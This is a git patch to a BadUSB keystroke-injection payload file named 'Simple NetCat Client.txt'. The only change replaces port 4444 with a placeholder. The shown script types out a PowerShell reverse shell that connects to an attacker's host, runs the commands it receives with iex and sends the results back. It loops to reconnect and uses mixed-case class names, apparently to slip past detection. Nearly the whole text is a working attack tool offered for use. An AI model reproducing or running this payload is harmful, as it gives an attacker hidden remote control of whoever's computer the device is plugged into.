From a7ba79e1eb9c718b69d20870a986e4aada2ee59c Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Wed, 28 Jun 2023 20:48:03 +0000 Subject: [PATCH] Update Simple NetCat Client.txt --- Tools/Simple NetCat Client.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Tools/Simple NetCat Client.txt b/Tools/Simple NetCat Client.txt index dca7964..2d63c49 100644 --- a/Tools/Simple NetCat Client.txt +++ b/Tools/Simple NetCat Client.txt @@ -22,7 +22,7 @@ ALT y DELAY 5000 REM write out the main Powershell code. -STRING do{;$v = 4;$a = New-Object SyStem.NeT.sockeTs.TCPClieNt("YOUR_IP_OR_DOMAIN_HERE",4444) +STRING do{;$v = 4;$a = New-Object SyStem.NeT.sockeTs.TCPClieNt("YOUR_IP_OR_DOMAIN_HERE",PORT_NUMBER) STRING ;$b = $a.GetStream();[byte[]]$c = 0..65535|%{0};while(($d = $b.Read($c, 0, $c.Length)) -ne 0){;$e = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($c,0, $d) STRING ;$f = (iex $e 2>&1 | Out-String );$g = $f + (pwd).Path + '> ';$h = ([text.encoding]::ASCII).GetBytes($g);$b.Write($h,0,$h.Length);$b.Flush()};$a.Close();Sleep 10}while ($v -le 5) ENTER